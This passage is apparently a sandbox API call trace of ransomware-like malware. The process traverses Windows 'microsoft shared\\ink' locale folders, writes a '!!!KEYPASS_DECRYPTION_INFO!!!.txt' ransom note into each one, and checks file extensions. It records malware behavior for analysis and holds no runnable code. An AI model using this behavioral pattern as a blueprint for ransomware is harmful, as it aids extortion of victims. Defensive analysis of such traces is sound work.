hFindFile=0xd06380, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned=".dll" [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned=".dll" [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned=".exe" [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned=".dll" [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned=".dll" [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned=".dll" [0239.661] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.661] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.661] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.661] GetLastError () returned 0x3f0 [0239.661] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.661] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0239.663] GetFileType (hFile=0x4ac) returned 0x1 [0239.663] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.663] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.663] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.663] WriteFile (in: hFile=0x4ac, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.664] WriteFile (in: hFile=0x4ac, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.664] CloseHandle (hObject=0x4ac) returned 1 [0239.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06500 [0239.665] FindNextFileW (in: hFindFile=0xd06500, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.665] FindNextFileW (in: hFindFile=0xd06500, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.665] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.665] FindNextFileW (in: hFindFile=0xd06500, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.665] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned=".mui" [0239.665] FindNextFileW (in: hFindFile=0xd06500, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.665] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.665] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.665] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.665] GetLastError () returned 0x3f0 [0239.665] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.665] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a0 [0239.669] GetFileType (hFile=0x4a0) returned 0x1 [0239.669] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.669] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.669] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.669] WriteFile (in: hFile=0x4a0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.670] WriteFile (in: hFile=0x4a0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.670] CloseHandle (hObject=0x4a0) returned 1 [0239.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06680 [0239.671] FindNextFileW (in: hFindFile=0xd06680, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.671] FindNextFileW (in: hFindFile=0xd06680, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.671] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.671] FindNextFileW (in: hFindFile=0xd06680, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.671] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned=".mui" [0239.671] FindNextFileW (in: hFindFile=0xd06680, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.671] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.671] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.671] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.671] GetLastError () returned 0x3f0 [0239.671] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.671] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0239.672] GetFileType (hFile=0x4b0) returned 0x1 [0239.673] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.673] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.673] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.673] WriteFile (in: hFile=0x4b0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.674] WriteFile (in: hFile=0x4b0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.674] CloseHandle (hObject=0x4b0) returned 1 [0239.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06580 [0239.674] FindNextFileW (in: hFindFile=0xd06580, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.674] FindNextFileW (in: hFindFile=0xd06580, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.674] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.675] FindNextFileW (in: hFindFile=0xd06580, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.675] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned=".mui" [0239.675] FindNextFileW (in: hFindFile=0xd06580, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.675] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.675] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.675] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.675] GetLastError () returned 0x3f0 [0239.675] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.675] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0239.676] GetFileType (hFile=0x4b4) returned 0x1 [0239.676] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.676] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.676] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.676] WriteFile (in: hFile=0x4b4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.677] WriteFile (in: hFile=0x4b4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.677] CloseHandle (hObject=0x4b4) returned 1 [0239.677] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06780 [0239.678] FindNextFileW (in: hFindFile=0xd06780, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.678] FindNextFileW (in: hFindFile=0xd06780, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.678] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.678] FindNextFileW (in: hFindFile=0xd06780, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.678] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned=".mui" [0239.678] FindNextFileW (in: hFindFile=0xd06780, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.678] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.678] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.678] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.678] GetLastError () returned 0x3f0 [0239.678] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.678] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0239.680] GetFileType (hFile=0x4b8) returned 0x1 [0239.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.680] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.681] WriteFile (in: hFile=0x4b8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.682] WriteFile (in: hFile=0x4b8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.682] CloseHandle (hObject=0x4b8) returned 1 [0239.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd06840 [0239.682] FindNextFileW (in: hFindFile=0xd06840, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.682] FindNextFileW (in: hFindFile=0xd06840, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.683] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.683] FindNextFileW (in: hFindFile=0xd06840, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.683] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned=".mui" [0239.683] FindNextFileW (in: hFindFile=0xd06840, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.683] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.683] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.683] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.683] GetLastError () returned 0x3f0 [0239.683] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.683] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0239.684] GetFileType (hFile=0x4c0) returned 0x1 [0239.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.685] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.685] WriteFile (in: hFile=0x4c0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.686] WriteFile (in: hFile=0x4c0, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.686] CloseHandle (hObject=0x4c0) returned 1 [0239.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05b40 [0239.686] FindNextFileW (in: hFindFile=0xd05b40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.686] FindNextFileW (in: hFindFile=0xd05b40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.686] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.686] FindNextFileW (in: hFindFile=0xd05b40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.686] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned=".mui" [0239.687] FindNextFileW (in: hFindFile=0xd05b40, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.687] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.687] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned=".dll" [0239.687] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.687] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0239.687] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0239.687] GetLastError () returned 0x3f0 [0239.687] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0239.687] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0239.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c4 [0239.688] GetFileType (hFile=0x4c4) returned 0x1 [0239.688] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0239.688] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0239.688] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0239.689] WriteFile (in: hFile=0x4c4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0239.689] WriteFile (in: hFile=0x4c4, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0239.690] CloseHandle (hObject=0x4c4) returned 1 [0239.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xd05c80 [0239.690] FindNextFileW (in: hFindFile=0xd05c80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.690] FindNextFileW (in: hFindFile=0xd05c80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.690] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0239.690] FindNextFileW (in: hFindFile=0xd05c80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0239.690] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned=".mui" [0239.690] FindNextFileW (in: hFindFile=0xd05c80, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0239.690] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.690] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe") returned=".exe" [0239.690] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0239.690] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 